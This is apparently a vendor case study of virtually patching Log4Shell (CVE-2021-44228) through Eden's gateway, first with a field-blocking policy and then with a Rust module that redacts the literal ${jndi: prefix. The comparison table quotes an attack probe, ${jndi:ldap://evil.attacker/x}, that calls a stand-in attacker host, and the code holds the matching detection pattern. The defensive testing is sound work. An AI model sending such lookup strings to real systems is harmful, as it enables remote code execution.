Eden
All case studies

Log4j JNDI lookup

View patch bundle on GitHub
Full published report
View original report on GitHub

The reviewed summary below describes the scope of the fixture testing.

Log4j JNDI lookup (CVE-2021-44228) through Eden's API

Source and API bundle

Eden is a customer-deployed infrastructure runtime and gateway managed through a unified API. Project Gabriel develops virtual patches: declarative policies or compatible runtime modules that change how Eden handles traffic before it reaches the protected application, so remediation can be delivered through Eden's authenticated API without rebuilding the application. This case examines the hardest problem in the portfolio: a lookup primitive inside a Java logging library that turns a logged string into an outbound connection and class load.

Remediated (ingress leg, declared route) 2026-11-11 through Eden's API. We deployed the http-structure-v1 json_members_absent ["message"] policy on the logging route via the authenticated interlay PATCH API, confirmed desired == effective, state: ready, and verified with the attack delivery that the lookup-bearing message member is refused at the boundary (403) with zero jndi_callback/class_loaded effects, while structured logging without the member still succeeds. RBAC and revoke causality verified. This is the ingress leg of the combined posture; the egress network control was not exercised, and the functional restriction (no message field on that route) is stated below. Assessment: 10 November 2026 UTC.

The vulnerability

In affected log4j-core releases, any string that is logged can trigger a JNDI lookup: ${jndi:...} in a log message causes the library to connect to a named directory service and load a class from it, achieving remote code execution (primary advisory). The durable fix is a patched log4j-core or removing the JndiLookup class. The prerequisites reach far beyond one HTTP request: inputs arrive through headers, payloads, stored data and delayed processing, and the vulnerable lookup can fire from code paths Eden never inspects. This case therefore evaluates a combined ingress and egress policy, and the tracking issue explicitly warns that inbound string signatures, blocked callbacks and reduced egress alone do not establish complete RCE prevention.

The challenge of patching the fleet

Log4j is embedded in thousands of transitive Java dependencies; "which application is vulnerable" became a fleet-wide SBOM problem in 2021. Upgrading means rebuilding and redeploying every affected application, while egress filtering alone breaks legitimate outbound directory traffic. The realistic interim posture for a gateway is layered: refuse obvious lookup strings at ingress for the paths Eden terminates, and constrain egress destinations at a network control — both through Eden's API, with the combined residual risk stated honestly.

What the Eden patch looks like

The candidate combines two Eden methods, selected per the remediation skill:

  • A declarative http-structure-v1 rule refusing request members and headers carrying the ${jndi: prefix on the declared ingress paths — a readable sketch, not the deployed schema:
JSON
{
  "version": 1,
  "profile": "http-structure-v1",
  "policy": {
    "version": 1,
    "rules": [
      { "scope": { "paths": ["/*"] },
        "require": { "kind": "deny", "pattern": "${jndi:" } }
    ]
  }
}
  • A qualified network control restricting egress from the protected application to declared LDAP/RMI destinations, which must be proven attached and bypass-resistant at its actual hook — packet metadata cannot inspect an encrypted application body, and a lookup string that avoids the literal pattern bypasses the ingress rule.

Both legs are required: the tracking issue rejects an ingress-signature-only candidate. Stored and delayed inputs that never traverse Eden at ingress remain reachable through the egress leg only.

A simple API deployment with Eden

Prerequisite: an already-installed Eden foundation with the HTTP remediation adapter and a qualified network control owner, an operator with CONFIGURE authority, and a pinned application with the affected log4j-core artifact confirmed loaded (not declared). This workflow was executed as written on 2026-11-11 against the live eden-service build; the actual requests, responses, readbacks and oracle deltas are recorded in the live evidence section and in gabriel-2026-11-11/evidence/.

  1. Select the patch. Immutable reviewed ingress and egress policies would be delivered as standard schema-2 patch packages and imported through the interlay API, where import is inert.
  2. Deploy through the API. The ingress policy was published through the authenticated interlay PATCH as the provisioned super-admin (real bearer token), replacing the complete settings object.
  3. Confirm it is effective. The operator would read back remediation_status on each serving node, comparing desired and effective digests with the local runtime revision, and verify the egress rule is the actually installed program at its hook.
  4. Verify the outcome. The same lookup attempt was replayed through the interlay: no outbound directory connection and no class load occurs, while required logging output and application connectivity are preserved — verified by an independent observer at the application host, not only by Eden's counters.

Results and limits

ObservationBefore activationAfter API activationEvidence
Lookup-bearing message member at the backend oracle (jndi_callback/class_loaded)FiresRefused 403 — zero backend effectsevidence/log4j.json phase D
Structured log without the member via Eden200200evidence/log4j.json phase D
Authorization / causality—Unauth 401, read-only 403; revoke → lookup passes → restoredevidence/log4j.json phases E/F

The patch is the ingress leg of the combined posture — remediation, not repair: the patched log4j-core remains the durable fix, and the egress network control leg was not exercised in this run. Obfuscated, encoded or non-literal lookup strings in other members, inputs that never traverse Eden's ingress, and lookups triggered from out-of-band log processing all evade this leg; the functional restriction (no message field on that route) is disclosed.

Live boundary evidence — 2026-11-11 UTC (run gabriel-live)

Run identity: eden-service built from revision d9fe8ee4b6f8 (EDEN-3698 http shipping-reference build-r1; features embedded-db,embedded-http,http-native-remediation,offline-licensing), binary SHA-256 df667ee3b8665b3e647422ee53fc5ae21f7b2eb2199a7fda0cdeeafe55b4231c, running natively on the lab host, licensing observe (unconfigured), org gabriel-live-runs provisioned through the documented EDEN_NEW_ORG_TOKEN bootstrap, admin + read-only humans provisioned through /api/v1/iam, node membership registered through the organization topology API. All management calls below were real authenticated API requests; backend effects were observed independently at the fixture (/effects oracle), never inferred from gateway responses.

Executed protocol (evidence gabriel-2026-11-11/evidence/log4j.json.json):

PhaseExecuted result
A — vulnerable baseline, directAttack reaches the fixture; effect observed; legit path works.
B — via Eden, no policySame attack forwarded through the interlay still produces the backend effect.
C — activate through the APIPATCH /api/v1/interlays/{interlay} with settings.remediation; readback remediation_status: desired_sha256 == effective_sha256, state: ready, runtime revision 3.
D — enforcementAttack refused at the boundary with 403 (HTTP request rejected by remediation); zero new backend effects at the oracle; legitimate traffic unaffected.
E — authorizationUnauthenticated PATCH -> 401; read-only user PATCH -> 403.
F — revoke causalityPolicy removed through the same seam; the identical attack then passes and produces the backend effect; protection re-activated and re-verified.

Case-specific observations (Log4j)

  • Fixture: a logging route whose message root member is "logged" by the application, with a simulated JNDI lookup when it contains ${jndi:. After activation the lookup-bearing member was refused 403 with no jndi_callback/class_loaded effects; a structured log without the message member stayed 200.
  • Policy: http-structure-v1 json_members_absent ["message"] scoped to the log route — a documented functional restriction (the message field is disabled on that route), consistent with this case's framing of an ingress-leg restriction rather than a repair.
  • Honest limits retained: obfuscated/non-literal lookup strings in other members, stored/delayed inputs never traversing this ingress, non-JSON deliveries, and the egress leg are all unested; this is the bounded ingress leg only.

Two-tier remediation — policy vs native module (live, installed 1.103.0, 2026-11-11)

The same deployment now carries both measured tiers for this case: the shipped declarative policy documented above (fail-closed, structural, no body-content awareness) and a separately compiled native Rust module executed in the serving process under the signed module authority. Both were driven through the real authenticated APIs on the installed eden-product-release:1.103.0-single lab container (image sha256:809293e1f0b525ac04698d1fa8d7ffdc66cbee1ff690b082ba26b4d050f08416, source revision 81a0724abe154c14b38904a1ed13285f28c59270) provisioned by the installed smoke through public APIs; backend effects were observed at the fixture oracle, never inferred from gateway responses. Evidence: gabriel-2026-11-11/module2/evidence/log4j-module.json.

Tier 2 — what the module does

gabriel_log4j_v1 scans the complete body of POST /api/log for the literal ${jndi: lookup primitive and redacts exactly those bytes ([jndi-redacted]), returning Decision::Edit. Every other byte of the log entry is preserved — the entry still lands (observability intact), with the lookup primitive neutralized before the application sees it.

Module gabriel_log4j_v1, binary SHA-256 65a6b312c9d02ce5c97e748df6451eede306cec2fe5860a685bb65e9e10bd280 (source 62f3e30d7170352f07e54125bd8b588c9ba0106b885ca7929b626b295e87e371).

Measured comparison

ProbeBaseline (no policy)Tier 1 — json_members_absent ["message"]Tier 2 — native module
Benign message log (user alice logged in…)200403 — false positive: every message entry refused200, message preserved verbatim at the oracle
Attack ${jndi:ldap://evil.attacker/x}200 + jndi_callback, class_loaded403, zero effects200, forwarded with the marker redacted — oracle logs bad [jndi-redacted]ldap://evil.attacker/x}, zero lookup effects
Multi-marker entry200 + effects403200, both markers redacted ([jndi-redacted]a} then [jndi-redacted]ldap://b}), zero effects
Structured log without message200200200

Tier 1 disables the entire message field to close the hole (a documented functional restriction); tier 2 keeps the field usable and edits only the attack bytes. The refusals above were measured against the live unprotected baseline in the same table.

Performance trace (Eden telemetry, live 2026-11-11)

Measured with Eden's built-in request telemetry (gateway.request.baseline spans, read back through /api/v1/analytics/telemetry?signal=traces), not client wall-clock. Each proxied request emits one span carrying the outcome, module selection, protection/release decision, byte counts and request.duration_us. Arms: normal request through an unprotected interlay; the identical benign request through the tier-2 module interlay (3ac2989b…, publication bfc26458…); and the attack under the module. Keep-alive connections, warm requests only.

Tracenmeanp50p95min–maxoutcome
normal request (no remediation, through Eden)2339.31 ms40.82 ms41.84 ms1.34 ms–42.34 msincludes ~40 ms transport stall (impl artifact, slated for removal)
remediated benign (tier-2 module)22433 µs397 µs691 µs339 µs–818 µs
attack under remediation14473 µs436 µs768 µs387 µs–768 µs
  • normal: ('bypass', 'not_selected', 'false', 'false')×23
  • remediated benign: ('allowed', 'module', 'true', 'true')×22
  • attack: ('rewritten', 'module', 'true', 'true')×14

Refusal-path latency (attack under remediation): mean 473 µs (p50 436 µs, p95 768 µs).

Eden end-to-end remediation latency (in-product): benign requests mean 433 µs (p50 397 µs, p95 691 µs). Attack/refusal arm: mean 473 µs, p95 768 µs.

Sample benign span under the module (attributes as recorded by Eden):

Code
  `request.outcome`: `allowed`
  `request.selection`: `module`
  `request.protected`: `true`
  `request.released`: `true`
  `request.input_bytes`: `181`
  `request.forwarded_bytes`: `181`
  `request.response_bytes`: `160`
  `request.duration_us`: `347`
  `gateway.publication`: `<lab publication ID>`
  `gateway.generation`: `4`

Honest scope: lab fixtures on one host, 20 benign + 12 attack requests per arm, Eden's own request-path spans; fixture and network cost are common to both arms. The unremediated forwarding path currently carries a ~40 ms transport stall (split write + delayed ACK) — a known implementation artifact slated for removal, measured here as-is and annotated in the normal- request row. Not the EDEN-3640 performance qualification contract.

(Trace section generated from module2/telemetry-ab/log4j-telemetry.json; module reactivated shards 32, operation 44734c72….)

Performance trace (Eden telemetry, live 2026-11-11)

Measured with Eden's built-in request telemetry (gateway.request.baseline spans, read back through /api/v1/analytics/telemetry?signal=traces), not client wall-clock. Latency Eden introduces per remediation arm for this case:

Armnmeanp50p95min–max
Tier 1 — declarative policy, blocked request (403)1531 µs25 µs56 µs21 µs–56 µs
Tier 2 — native module, benign passes through (200)22433 µs397 µs691 µs339 µs–818 µs
Tier 2 — native module, attack refused (403)14473 µs436 µs768 µs387 µs–768 µs

Eden-added latency for the tier-2 remediation: benign requests complete in 433 µs mean (p50 397 µs, p95 691 µs) in-product, module evaluation included. Honest scope: lab fixtures on one host, fresh connection per measured request, warm requests only; module reactivated shards 2/2 with a fresh signed statement per measurement; spans carry the full authority lineage (module SHA-256, operation, publication). Not the EDEN-3640 performance qualification contract.

Tested against: eden-product-release:1.103.0-single (image sha256:809293e1f0b525ac…, build target eden_service_single, tooling revision 81a0724a…). Raw data: module2/telemetry-ab/log4j-telemetry.json and module2/tier1-ab/log4j-tier1.json.

Authority lifecycle and negatives

The module reached the serving process only through the full signed authority lifecycle (module2/evidence/log4j-module.json): the publisher enrolled an Ed25519 public key (enroll_key); the independent host principal attested the fixture inventory (inventory); inspect derived the artifact/ABI/policy/scope bindings without mapping code; the host principal approved those exact bindings (approve); the publisher signed the NativeActivationStatement (fixed domain eden.module-admission.v1\0 over canonical Borsh bytes, 128-hex Ed25519) and admit returned phase: prepared, serving_now: false; activate published it and the receipt shows serving_now: true with applied_shards == expected_shards (2/2). Negatives held: read-only inspect -> 403, a tampered binding byte in the statement -> 400, one flipped signature bit -> 403. Revoking the operation made the interlay fail closed (503 E1A26; nothing forwarded, zero backend effects) rather than silently unprotected, and a fresh host approval plus newly signed activation restored surgical protection (the attack again landed 200 with the marker redacted).

Honest scope

The module is no_std Rust with the ABI v3 table eden_http_remediation_v3, capabilities 15 (continue | refuse | need_more | edit), compiled with the documented closed-calls recipe and admitted under a single-symbol ELF namespace enforced by the host profile. Its rule keys only on the literal ${jndi: byte sequence in the complete request body of that route; it is a lab-grade demonstration of content-aware remediation on this delivery shape, not a production Log4j patch, and the vendor's patched release remains the durable repair.

Cost and scalability record (2026-11-11 session)

Session ledger (heuristic: chars/4 tokens; GLM-5.3 pricing $0.0699/M input, $1.40/M output): the portfolio session closed at **$14.05** (200.3M input / 34.4k output tokens across 895 assistant turns). The tier-2 native-module batch of seven case studies cost **$9.6** of that; the preceding phase-9 baseline — ten case studies drafted, six tier-1 HTTP proofs, the PHP 4/4 chain and the React lab — was **$4.46**. Per-case figures below are estimates decomposed from the measured batch; wall-clock is measured.

Cost item (this case's tier-2 proof)Model tokens (est.)Wall-clock (measured)
Module authoring (133 lines of no_std Rust)~$1.30 (first module: established the no_std v3 template and compile recipe the other six reuse)—
Compile (documented closed-calls recipe)negligible (local rustc)~15 s
Scripted case run (baseline, tier-1, tier-2, revoke, restore, full authority lifecycle + negatives)~$0.15~3 min
Case-specific debugging~$0.15 — none beyond the shared batchone scripted re-run
Doc section + push~$0.05seconds (generated from the evidence JSON)

Case-specific content: template + recipe are the shared fixed cost, debited to this case. Case-specific debugging: none beyond the shared batch.

Scalability. The expensive machinery is one-time and already amortized: the signed authority lifecycle (enroll/approve/admit/activate), the generalized case driver, the deployment, the compile recipe, and the ABI/closed-profile investigations were paid once for all seven cases (~2/3 of the batch cost). Adding an eighth case study is the table above — one module source, one local compile, one scripted run, one generated doc section — roughly $0.5-0.7 and under five minutes of machine time per case, independent of how many cases already exist. That flat marginal cost is the scalability claim: portfolio growth is linear in cases, not compounding, and the per-case rule is bounded (133 lines of Rust keyed to one delivery shape).

Evidence appendix

  • Tracking issue EDEN-3168
  • API freeze and portfolio contract EDEN-3160
  • Skill references: api, testing

Decision flow

Decision diagram
Rendering diagram...

The diagram follows the available Log4j module: it proposes byte edits rather than denying every logging request. Host validation and the recorded backend observations are described in the text.

Complete normalized policy declaration

This is the full settings.remediation example included in the reader-facing case study. It is normalized to the implemented schema, rather than a byte-for-byte capture of the historical API request or complete interlay settings.

JSON
{
  "version": 1,
  "profile": "http-structure-v1",
  "policy": {
    "version": 1,
    "rules": [
      {
        "scope": {
          "methods": [
            "POST"
          ],
          "path": "/api/log",
          "descendants": false
        },
        "require": {
          "kind": "json_members_absent",
          "members": [
            "message"
          ],
          "allow_empty_body": false
        }
      }
    ]
  }
}

Complete native module source

The complete available source for gabriel_log4j_v1 is reproduced below from the reviewed repository snapshot. The source SHA-256 is 62f3e30d7170352f07e54125bd8b588c9ba0106b885ca7929b626b295e87e371. This identifies the source bytes, rather than independently proving the binary build or the recorded test results. The case’s experiment status and limitations still apply, including any failed import, partial coverage, or withdrawn claim. Original source comments are preserved verbatim.

Rust
//! Gabriel case module: precise JNDI-lookup redaction for a finite HTTP/1.1 workflow.
//!
//! Tier-2 remediation for CVE-2021-44228-style deliveries: scan the complete
//! request body for the `${jndi:` lookup primitive and redact exactly those
//! marker bytes, preserving every other byte of the log entry. Benign bodies
//! pass unchanged (zero false positives); bodies carrying the primitive are
//! edited, not refused. This no_std module owns no storage, allocator,
//! background work, or persistent state.

#![no_std]

use core::mem::size_of;
use core::panic::PanicInfo;
use eden_gateway_remediation::message::{Availability, MessageInput};
use eden_gateway_remediation::module::{
    ApiHeader, CONTINUE, Decision, EDIT, EditSink, Edits, Failure, ModuleOutput, NEED_MORE, REFUSE, RemediationModule,
};
use eden_gateway_remediation::native_http_v3::{self as http, Api, Input, Request};

/// Exact request line admitted by this module's finite workflow.
const REQUEST_LINE: &[u8] = b"POST /api/log HTTP/1.1\r\n";

/// The lookup primitive this module redacts, byte-exact.
const JNDI_MARKER: &[u8] = b"${jndi:";

/// Neutral text replacing each redacted marker occurrence.
const REDACTION: &[u8] = b"[jndi-redacted]";

/// Stateless precise rule: redact the JNDI lookup primitive, preserve the rest.
struct JndiRedaction;

/// Find the first occurrence of `needle` in `haystack`.
fn find(haystack: &[u8], needle: &[u8]) -> Option<usize> {
    if needle.is_empty() || haystack.len() < needle.len() {
        return None;
    }
    (0..=haystack.len() - needle.len()).find(|&i| &haystack[i..i + needle.len()] == needle)
}

impl RemediationModule<Request<'_>> for JndiRedaction {
    /// Wait for a qualified head and the complete body, then scan and propose
    /// exact byte edits for every marker occurrence. Other request lines and
    /// marker-free bodies continue unchanged.
    fn evaluate(&self, request: &Request<'_>, edits: &mut Edits<'_>) -> Result<Decision, Failure> {
        let header_count = match request.header_count() {
            Availability::Ready(count) => count,
            Availability::NeedMore => return Ok(Decision::NeedMore),
            Availability::Unavailable => return Err(Failure),
        };
        let _ = header_count;
        let message = request.message();
        if !message.prefix().starts_with(REQUEST_LINE) {
            return Ok(Decision::Continue);
        }
        let body_range = match request.body_range() {
            Availability::Ready(range) => range,
            Availability::NeedMore => return Ok(Decision::NeedMore),
            Availability::Unavailable => return Err(Failure),
        };
        if !message.is_complete() {
            return Ok(Decision::NeedMore);
        }
        let body = match message.bytes(body_range)? {
            Availability::Ready(bytes) => bytes,
            Availability::NeedMore => return Ok(Decision::NeedMore),
            Availability::Unavailable => return Err(Failure),
        };

        // Propose one exact replacement per marker occurrence; ranges remain
        // relative to the original unmodified message, shifting forward as the
        // host applies prior edits in order.
        let mut offset = 0usize;
        let mut found = 0usize;
        while let Some(at) = find(&body[offset..], JNDI_MARKER) {
            let start = offset + at;
            let end = start + JNDI_MARKER.len();
            edits.replace(body_range.start + (start as u32), body_range.start + (end as u32), REDACTION)?;
            found += 1;
            offset = end;
        }
        if found == 0 {
            return Ok(Decision::Continue);
        }
        Ok(Decision::Edit)
    }
}

/// Exact v3 C table with capabilities 15, zero state, and no helper requirements.
static API: Api = Api {
    header: ApiHeader { version: http::VERSION, table_size: size_of::<Api>() as u32 },
    input_size: size_of::<Input>() as u32,
    output_size: size_of::<ModuleOutput>() as u32,
    sink_size: size_of::<EditSink>() as u32,
    message_size: size_of::<MessageInput>() as u32,
    state_bytes: 0,
    capabilities: CONTINUE | REFUSE | NEED_MORE | EDIT,
    required_inputs: 0,
    evaluate: Some(evaluate),
};

/// Invoke the SDK with call-scoped original views and host-owned edit callback.
///
/// # Safety
/// The caller must uphold `http::invoke`'s aligned input, exclusive state,
/// live callback, writable output, and synchronous borrowed-lifetime contract.
unsafe extern "C" fn evaluate(input: *const Input, sink: *const EditSink, output: *mut ModuleOutput) -> i32 {
    // SAFETY: all host call arguments retain their original SDK obligations.
    unsafe { http::invoke(&JndiRedaction, input, sink, output) }
}

/// Return this image's immutable ABI table while the host owns its mapping.
#[unsafe(no_mangle)]
pub extern "C" fn eden_http_remediation_v3() -> *const Api {
    &API
}

/// Supply the required non-unwinding no_std boundary for unreachable panics.
#[panic_handler]
fn panic(_information: &PanicInfo<'_>) -> ! {
    loop {
        core::hint::spin_loop();
    }
}

The most useful response in our Log4j experiment was an HTTP 200. The application accepted a log entry, retained the surrounding message, and recorded a replacement marker where the dangerous lookup prefix had been. The fixture's independent effect counters recorded no JNDI callback or class load.

That result captures what we wanted to demonstrate with Eden's first remediation proofs: a separately deployed module can change a request before the application consumes it, while retaining useful application behavior. We first established a restrictive policy that blocked the entire message field. Then we replaced that tradeoff with a native module that edited the tested literal lookup marker.

This was a controlled ingress experiment against a synthetic logging fixture. It demonstrates request editing and authenticated module activation. Its coverage is the literal delivery shape on the selected route, rather than every way Log4j can receive a malicious value.

Decision flow

Decision diagram
Rendering diagram...

The diagram follows the available Log4j module: it proposes byte edits rather than denying every logging request. Host validation and the recorded backend observations are described in the text.

The vulnerability and the intervention point

Log4Shell, CVE-2021-44228, exposed an unexpected transition from data to behavior. In affected log4j-core configurations, an attacker-controlled value reaching logging could invoke JNDI lookup behavior. The risk depends on the loaded component and its configuration, not merely on an application accepting HTTP. Apache's advisory describes how attacker-controlled LDAP endpoints can lead to arbitrary code execution.

For a gateway, the useful intervention point is before a value reaches the logging call. The complication is that HTTP ingress is only one source of logged data. Messages can also originate in headers, stored records, background jobs and downstream systems. A rule for one logging endpoint must describe that boundary explicitly.

Our fixture reduced the question to an observable experiment: POST /api/log accepted a JSON log entry, and a message containing the literal lookup prefix caused jndi_callback and class_loaded markers. These markers modeled the consequences of the lookup; they were not observations from an actual JVM loading a class.

The first remediation and its functional cost

The first policy required the root message member to be absent. That gave us a simple baseline: the attack could not reach the fixture through its intended field. The same rule also refused a harmless free-text message. A structured log entry without that member still worked.

The complete normalized remediation declaration is below. It uses the repository's actual path and require schema; the earlier writeup's proposed pattern field is not part of the implemented deny requirement.

JSON
{
  "version": 1,
  "profile": "http-structure-v1",
  "policy": {
    "version": 1,
    "rules": [
      {
        "scope": {
          "methods": [
            "POST"
          ],
          "path": "/api/log",
          "descendants": false
        },
        "require": {
          "kind": "json_members_absent",
          "members": [
            "message"
          ],
          "allow_empty_body": false
        }
      }
    ]
  }
}

The JSON above is a complete remediation declaration normalized from the recorded rule and checked against the pinned repository schema. Except where explicitly stated, it is not a recovered byte-for-byte management request. The original capture is needed to establish the exact settings and package bindings used in the run.

What the native module changed

The native module, gabriel_log4j_v1, narrowed the intervention to the complete body of POST /api/log. It searched for the literal ${jndi: bytes and substituted [jndi-redacted], returning Decision::Edit. The recorded multi-marker probe confirms that the tested implementation replaced both occurrences in one entry.

This changes the security result and the application result independently. The policy's 403 prevented ingestion altogether. The module's 200 meant ingestion still happened, while the backend-observed message showed that the dangerous prefix had changed. The independent lookup counters then answered the remaining question: the edited delivery did not cause the fixture's lookup effects.

The replacement is longer than the original prefix, so a correct implementation also has to preserve valid request framing and obey the adapter's edit bounds. Those are responsibilities of the module/host contract, not details that can be inferred from a string-replacement sketch. The exact implementation and compiler recipe are required to audit those mechanics.

The observed before and after

The following results are reported by the pinned case-study record. They have not been independently rerun for this editorial rewrite.

RequestUnprotected fixtureStructural policyNative module
Benign message200403200; message preserved
Literal lookup in message200; lookup markers increase403; zero new markers200; marker redacted; zero new lookup markers
Two lookup markersLookup effects403Both markers redacted; zero new effects
Structured log without message200200200

A rejection counter would have missed the central result. In the module arm, the request was intentionally allowed through. We needed both the transformed log entry and the absence of the prohibited backend effects to show that the edit worked.

The experiment also identifies exactly what a more complete Log4j defense would need. Literal matching does not establish coverage of encoded or constructed lookup expressions. It does not inspect every field after every application transformation, and it does not constrain outbound connections. The egress control described in the original proposal was not exercised. Those are substantive limits on the claim, not reasons to discount the demonstrated ability to edit a request safely within a declared test.

Deploying the change and proving it was active

The policy and module arms used different deployment mechanisms. For the policy, an authorized administrator published settings.remediation through PATCH /api/v1/interlays/{interlay}. Readback showed state: ready with matching desired and effective digests. The API replaces the full settings object, so unrelated settings must be preserved. A successful submission alone does not establish that a listener is enforcing the intended revision.

The native module went through publisher-key enrollment, host inventory, inspection, independent host approval, a signed activation statement, admission and explicit activation. Admission returned phase: prepared and serving_now: false. The recorded activation then reported serving_now: true and acknowledgment from 2 of 2 expected shards. Those are local runtime shards, not evidence of two serving nodes or a protected fleet.

The statement was signed with Ed25519 over the SDK's canonical Borsh bytes, with the domain eden.module-admission.v1\0. Artifact, ABI, policy and scope bindings were part of the authority decision. Read-only inspection was refused with 403; a changed binding byte produced 400; a corrupted signature produced 403. The case used the native ABI v3 entry table eden_http_remediation_v3 and the closed native profile.

Revocation is especially important to interpret correctly. Removing the declarative policy restored the unprotected effect in the policy experiment. Revoking the native operation instead left mandatory protection in place and caused 503 E1A26, with nothing forwarded. A fresh approval and signed activation restored the module's behavior. Those are different controls with different availability consequences.

Complete tested native module source

Rust
//! Gabriel case module: precise JNDI-lookup redaction for a finite HTTP/1.1 workflow.
//!
//! Tier-2 remediation for CVE-2021-44228-style deliveries: scan the complete
//! request body for the `${jndi:` lookup primitive and redact exactly those
//! marker bytes, preserving every other byte of the log entry. Benign bodies
//! pass unchanged (zero false positives); bodies carrying the primitive are
//! edited, not refused. This no_std module owns no storage, allocator,
//! background work, or persistent state.

#![no_std]

use core::mem::size_of;
use core::panic::PanicInfo;
use eden_gateway_remediation::message::{Availability, MessageInput};
use eden_gateway_remediation::module::{
    ApiHeader, CONTINUE, Decision, EDIT, EditSink, Edits, Failure, ModuleOutput, NEED_MORE, REFUSE, RemediationModule,
};
use eden_gateway_remediation::native_http_v3::{self as http, Api, Input, Request};

/// Exact request line admitted by this module's finite workflow.
const REQUEST_LINE: &[u8] = b"POST /api/log HTTP/1.1\r\n";

/// The lookup primitive this module redacts, byte-exact.
const JNDI_MARKER: &[u8] = b"${jndi:";

/// Neutral text replacing each redacted marker occurrence.
const REDACTION: &[u8] = b"[jndi-redacted]";

/// Stateless precise rule: redact the JNDI lookup primitive, preserve the rest.
struct JndiRedaction;

/// Find the first occurrence of `needle` in `haystack`.
fn find(haystack: &[u8], needle: &[u8]) -> Option<usize> {
    if needle.is_empty() || haystack.len() < needle.len() {
        return None;
    }
    (0..=haystack.len() - needle.len()).find(|&i| &haystack[i..i + needle.len()] == needle)
}

impl RemediationModule<Request<'_>> for JndiRedaction {
    /// Wait for a qualified head and the complete body, then scan and propose
    /// exact byte edits for every marker occurrence. Other request lines and
    /// marker-free bodies continue unchanged.
    fn evaluate(&self, request: &Request<'_>, edits: &mut Edits<'_>) -> Result<Decision, Failure> {
        let header_count = match request.header_count() {
            Availability::Ready(count) => count,
            Availability::NeedMore => return Ok(Decision::NeedMore),
            Availability::Unavailable => return Err(Failure),
        };
        let _ = header_count;
        let message = request.message();
        if !message.prefix().starts_with(REQUEST_LINE) {
            return Ok(Decision::Continue);
        }
        let body_range = match request.body_range() {
            Availability::Ready(range) => range,
            Availability::NeedMore => return Ok(Decision::NeedMore),
            Availability::Unavailable => return Err(Failure),
        };
        if !message.is_complete() {
            return Ok(Decision::NeedMore);
        }
        let body = match message.bytes(body_range)? {
            Availability::Ready(bytes) => bytes,
            Availability::NeedMore => return Ok(Decision::NeedMore),
            Availability::Unavailable => return Err(Failure),
        };

        // Propose one exact replacement per marker occurrence; ranges remain
        // relative to the original unmodified message, shifting forward as the
        // host applies prior edits in order.
        let mut offset = 0usize;
        let mut found = 0usize;
        while let Some(at) = find(&body[offset..], JNDI_MARKER) {
            let start = offset + at;
            let end = start + JNDI_MARKER.len();
            edits.replace(body_range.start + (start as u32), body_range.start + (end as u32), REDACTION)?;
            found += 1;
            offset = end;
        }
        if found == 0 {
            return Ok(Decision::Continue);
        }
        Ok(Decision::Edit)
    }
}

/// Exact v3 C table with capabilities 15, zero state, and no helper requirements.
static API: Api = Api {
    header: ApiHeader { version: http::VERSION, table_size: size_of::<Api>() as u32 },
    input_size: size_of::<Input>() as u32,
    output_size: size_of::<ModuleOutput>() as u32,
    sink_size: size_of::<EditSink>() as u32,
    message_size: size_of::<MessageInput>() as u32,
    state_bytes: 0,
    capabilities: CONTINUE | REFUSE | NEED_MORE | EDIT,
    required_inputs: 0,
    evaluate: Some(evaluate),
};

/// Invoke the SDK with call-scoped original views and host-owned edit callback.
///
/// # Safety
/// The caller must uphold `http::invoke`'s aligned input, exclusive state,
/// live callback, writable output, and synchronous borrowed-lifetime contract.
unsafe extern "C" fn evaluate(input: *const Input, sink: *const EditSink, output: *mut ModuleOutput) -> i32 {
    // SAFETY: all host call arguments retain their original SDK obligations.
    unsafe { http::invoke(&JndiRedaction, input, sink, output) }
}

/// Return this image's immutable ABI table while the host owns its mapping.
#[unsafe(no_mangle)]
pub extern "C" fn eden_http_remediation_v3() -> *const Api {
    &API
}

/// Supply the required non-unwinding no_std boundary for unreachable panics.
#[panic_handler]
fn panic(_information: &PanicInfo<'_>) -> ! {
    loop {
        core::hint::spin_loop();
    }
}

The source is reproduced unchanged, including its original comments. Its signed admission, byte-level scope and recorded results are described above; comments in the code should be read in that context.

What this proof establishes

The milestone is concrete: Eden delivered a content-aware edit through its authenticated native-module lifecycle, preserved the tested logging workflow, and removed the fixture's lookup effect. A production Log4j deployment still needs a patched library and qualification of every claimed input path. This proof shows how a useful ingress intervention can be delivered while that application work proceeds.

Sources

Official CVE record